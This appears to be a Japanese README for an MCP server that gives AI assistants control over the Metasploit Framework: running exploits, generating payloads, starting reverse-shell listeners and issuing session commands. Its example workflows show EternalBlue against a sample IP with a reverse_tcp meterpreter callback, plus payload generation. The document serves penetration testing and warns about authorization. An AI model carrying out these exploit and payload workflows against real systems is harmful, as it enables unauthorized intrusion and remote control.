Metasploit MCP Server

Metasploit MCP サーバー

Metasploit Framework と連携する Model Context Protocol（MCP）サーバーです。

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

説明

この MCP サーバーは、Claude などの大規模言語モデルと、ペネトレーションテストプラットフォームである Metasploit Framework をつなぎます。AI アシスタントは標準化されたツールを通じて Metasploit の機能に動的にアクセスし、制御できます。これにより、複雑なセキュリティテストのワークフローを自然言語で操作できます。

機能

モジュール情報

• list_exploits：利用可能な Metasploit のエクスプロイトモジュールを検索して一覧表示します
• list_payloads：利用可能な Metasploit のペイロードモジュールを検索して一覧表示します。プラットフォームやアーキテクチャによる絞り込みも可能です

エクスプロイトのワークフロー

• run_exploit：オプションで事前にチェックを実行し、対象に対してエクスプロイトを設定して実行します
• run_auxiliary_module：カスタムオプションを指定して、任意の Metasploit 補助モジュールを実行します
• run_post_module：既存のセッションに対して侵入後モジュールを実行します

ペイロードの生成

• generate_payload：Metasploit RPC を使用してペイロードファイルを生成します（ファイルはローカルに保存されます）

セッション管理

• list_active_sessions：現在の Metasploit セッションを詳細情報とともに表示します
• send_session_command：アクティブなシェルまたは Meterpreter セッションでコマンドを実行します
• terminate_session：アクティブなセッションを強制終了します

ハンドラー管理

• list_listeners：すべてのアクティブなハンドラーとバックグラウンドジョブを表示します
• start_listener：接続を受け付ける新しい multi/handler を作成します
• stop_job：実行中の任意のジョブまたはハンドラーを終了します

前提条件

• Metasploit Framework がインストールされ、msfrpcd が実行中であること
• Python 3.10 以降
• 必要な Python パッケージ（requirements.txt を参照）

インストール

1. このリポジトリをクローンします
2. 依存関係をインストールします：

   pip install -r requirements.txt
   

3. 環境変数を設定します（任意）：

   MSF_PASSWORD=yourpassword
   MSF_SERVER=127.0.0.1
   MSF_PORT=55553
   MSF_SSL=false
   PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
   

使い方

Metasploit RPC サービスを起動します：

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

トランスポートオプション

このサーバーは、次の 2 つのトランスポート方式に対応しています：

• HTTP/SSE（Server-Sent Events）：ほとんどの MCP クライアントとの相互運用性を確保するデフォルトのモード
• STDIO（Standard Input/Output）：Claude Desktop など、パイプで直接接続する場合に使用します

--transport フラグを使って、トランスポートモードを明示的に選択できます：

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

HTTP モードの追加オプション：

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude Desktop との連携

Claude Desktop と連携するには、claude_desktop_config.json を設定します：

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

その他の MCP クライアント

HTTP/SSE を使用するその他の MCP クライアントの場合：

1. サーバーを HTTP モードで起動します：

   python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
   

2. 次のエンドポイントに接続するよう MCP クライアントを設定します：

   • SSE エンドポイント：http://your-server-ip:8085/sse

セキュリティに関する注意事項

⚠️ 重要なセキュリティ警告：

このツールは、強力なエクスプロイト機能を含む Metasploit Framework の機能に直接アクセスできます。責任を持って使用し、セキュリティテストの実施について明示的な許可を得ている環境でのみ使用してください。

• 実行する前に、すべてのコマンドを必ず検証して確認してください
• 分離されたテスト環境、または適切な承認を得た環境でのみ実行してください
• 侵入後のコマンドは、システムに重大な変更を加える可能性があることに注意してください

ワークフローの例

基本的なエクスプロイト

1. 利用可能なエクスプロイトを一覧表示します：list_exploits("ms17_010")
2. エクスプロイトを選択して実行します：run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
3. セッションを一覧表示します：list_active_sessions()
4. コマンドを実行します：send_session_command(1, "whoami")

侵入後の操作

1. 侵入後モジュールを実行します：run_post_module("windows/gather/enum_logged_on_users", 1)
2. カスタムコマンドを送信します：send_session_command(1, "sysinfo")
3. 完了したら終了します：terminate_session(1)

ハンドラー管理

1. リスナーを開始します：start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
2. アクティブなハンドラーを一覧表示します：list_listeners()
3. ペイロードを生成します：generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
4. ハンドラーを停止します：stop_job(1)

テスト

このプロジェクトには、信頼性と保守性を確保するための包括的なユニットテストと統合テストが含まれています。

テストの前提条件

テストの依存関係をインストールします：

pip install -r requirements-test.txt

または、便利なインストーラーを使用します：

python run_tests.py --install-deps
# OR
make install-deps

テストの実行

クイックコマンド

# Run all tests
python run_tests.py --all
# OR
make test

# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage

# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html

特定のテストスイート

# Unit tests only
python run_tests.py --unit
# OR
make test-unit

# Integration tests only  
python run_tests.py --integration
# OR
make test-integration

# Options parsing tests
python run_tests.py --options
# OR
make test-options

# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers

# MCP tools tests
python run_tests.py --tools
# OR
make test-tools

テストオプション

# Include slow tests
python run_tests.py --all --slow

# Include network tests (requires actual network)
python run_tests.py --all --network

# Verbose output
python run_tests.py --all --verbose

# Quick test (no coverage, fail fast)
make quick-test

# Debug mode (detailed failure info)
make test-debug

テストの構成

• tests/test_options_parsing.py：柔軟なオプション解析機能のユニットテスト
• tests/test_helpers.py：内部ヘルパー関数と MSF クライアント管理のユニットテスト
• tests/test_tools_integration.py：Metasploit バックエンドをモックした、すべての MCP ツールの統合テスト
• conftest.py：共有テストフィクスチャと設定
• pytest.ini：カバレッジ設定を含む Pytest の設定

テスト機能

• 包括的なモック：Metasploit の依存関係はすべてモックされるため、実際の MSF インストールがなくてもテストを実行できます
• 非同期処理のサポート：pytest-asyncio を使用した、async/await テストの完全なサポート
• カバレッジレポート：HTML レポートによる詳細なカバレッジ分析
• パラメーター化テスト：複数の入力シナリオを効率的にテスト
• フィクスチャ管理：一般的なセットアップシナリオで再利用できるテストフィクスチャ

カバレッジレポート

カバレッジ付きでテストを実行すると、レポートを次の場所で確認できます：

• ターミナル：テスト実行後に表示されるカバレッジの概要
• HTML：htmlcov/index.html（--html オプションを使用した場合）

CI/CD 統合

継続的インテグレーションの場合：

# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose

設定オプション

ペイロードの保存先ディレクトリ

デフォルトでは、generate_payload で生成されたペイロードは、ホームフォルダー内の payloads ディレクトリ（~/payloads または C:\Users\YourUsername\payloads）に保存されます。PAYLOAD_SAVE_DIR 環境変数を設定すると、この場所をカスタマイズできます。

環境変数の設定：

• Windows（PowerShell）：

  $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  

• Windows（コマンドプロンプト）：

  set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  

• Linux/macOS：

  export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  

• Claude Desktop の設定内：

  "env": {
      "MSF_PASSWORD": "yourpassword",
      "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
  }
  

**注：**カスタムパスを指定する場合は、そのパスが存在するか、アプリケーションに作成権限があることを確認してください。パスが無効な場合、ペイロードの生成に失敗することがあります。

ライセンス

Apache 2.0